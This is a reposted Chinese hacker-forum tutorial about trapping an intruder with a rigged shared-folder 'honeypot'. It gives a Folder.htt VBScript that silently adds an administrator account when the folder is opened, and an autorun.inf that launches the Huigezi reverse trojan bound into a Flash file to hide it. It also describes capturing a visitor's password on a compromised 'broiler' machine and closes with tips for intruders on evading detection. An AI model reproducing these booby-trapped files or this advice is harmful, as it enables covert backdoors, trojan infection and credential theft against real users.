转自<岁月联盟>
常在河边走，哪有不湿鞋，本人因为经常和一些黑友打交道，自然遭受过许多入侵，被扫描更是难免。前几天上网时，网速突然暴慢，我关了QQ和所有的网络应用软件后，右下角的网络连接图标还是闪个不停，莫非是被人扫描了？可是我没装防火墙（大家可不要学我），于是我想到了用嗅探器看看，一嗅果然嗅出了名堂，如图1。
此主题相关图片如下：
看到了吧，从XXX.XXX.XXX.99机的4854端口发送数据包到我机（xxx.xxx.xxx.58）的1433端口，又返回去，这是典型被扫描的症状。我的机子更本没有SQL-SERVER哪来的1433端口？100%是被扫了，拿到IP后，先看看是有没有跟QQ上好友是一样的，看了一下没有，不管这些先用流光判断对方的系统，
。对方是NT，那就好半了，先用x-scan扫一下。听了一首歌后发现没有弱口令，开了以下端口：
端口21开放: FTP (Control)
端口139开放: NETBIOS Session Service
端口443开放: HttpS, Secure HTTP
端口445开放: Microsoft-DS
端口3389开放: Windows 2000 remote admin
暴力破解21端口？太耗时间几率也小，139？NETBOIS？没口令一切都是空谈，3389？输入法？大海捞针。
于是我决定来此引狼入室，再来个瓮中捉鳖，其实蜜罐就是这道理。开工喽，首先先打开注册表，把空连接打开（注：把注册表里HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsarestrictanonymous REG_DWORD 0×2 改为0×0, 关闭所有共享，只把3个文件夹的共享打开，第一个文件夹里放置两个文件：Folder.htt，desktop.ini。
如图2
[.ShellClassInfo]
ConfirmFileOp=0
其中关键代码为：
<s cript language=vbs cript>
function muma()
dim wsh
set wsh=CreateObject("Ws cript.Shell")
wsh.run "net.exe user aaa aa /add",0
wsh.run "net localgroup administrators aaa /add",0
wsh.run "net send 172.16.235.58 狼来拉",0
end function
</s cript>
<BODY onload="vbs cript :muma()">
制作方法很简单，就再现成的folder文件代码中添加以上代码就可以拉
文件夹和Folder.htt的属性设置为，并把Folder.htt和desktop.ini隐藏，最后把文件夹选项改为允许文件夹中使用WEB，如图3
此主题相关图片如下：
只读只要对方访问了第这个文件夹，就自动生成一个用户名为aaa密码aa，并向123.123.123.123发送狼来的短信。
第2个文件夹也放两个文件：autorun.inf和flash.exe
flash.exe是灰鸽子反弹木马，马中极品。
autorun.inf代码如下：
[AutoRun]
OPEN= flash.exe /autorun
只要对方访问了第这个文件夹，会自动运行flash.exe
避免被发现已经和另一个flash动画合并了。
步骤：
1，启动BindFile，如图4
2，添加要合并的软件，这里我们添加HGZ.EXE和FLASH.SWF
（注：由于合并器默认只支持EXE文件，我们添加时再添加框内输入：*.*就会出现所有文件这事就可以添加SWF文件拉）
为了保险起见我还把AUTORUN隐藏了，只要右键点击后进入属性里把隐藏打上勾，再点应用OK拉
第3个文件夹只是放了几个无用的文件，做个幌子罢了。
接下来就室设置权限了，在user组里创建一个名为shuangfeng的帐号，密码为空，创建的方法：
进入计算机管理，在点本地用户和组，进入组然后双击USERS，如图5
此主题相关图片如下：
点添加，对象名称里的方框里输入
shuangfeng,点应用OK。
把三个文件夹的共享都打开，进入安全把USER的权限中“读取和运行”“列出文件夹目录”“读取”打上勾，接着就是等他上钩了，如图6
此主题相关图片如下：
All Done, The password will be save to [D:\winnt\System32\GinaPwd.txt]
只要有人登陆后就会记录再D:\winnt\System32\GinaPwd.txt里
接着我重起了肉机。
10分钟后我再次登陆了肉鸡，TClog.log上清清楚楚写这登陆着的IP，仔细一看，果然跟我的QQ中的一个人的IP一样，我在D:\WINDOWS\System32\GinaPwd.txt得到他的密码后就撤了，因为我已经利用了这个简单的密罐完成了这次反入侵。如果我想的话可以用同样的方式在肉鸡上给那个人下个套，但我没这样，只留了个文本文件告诉了管理员就走了。剩下的事就事找那个人了。
总结：
1，大家以后入侵时要多留个心眼，不要象那个人一样，进了两个那么可以的文件夹都不知道自己中了招。
2，如果他扫描用一个肉鸡，入侵用一个肉鸡我就束手我策了，大家入侵的时候也最好象这样。
3，要增加分析能力，想想看，如果一个机子什么漏洞都没有，但缺有个空口令的帐户，这太另人非疑所思了吧。
就说这么多了最后请希望和我交流的请到www.top.co.sr来，大家一起进步。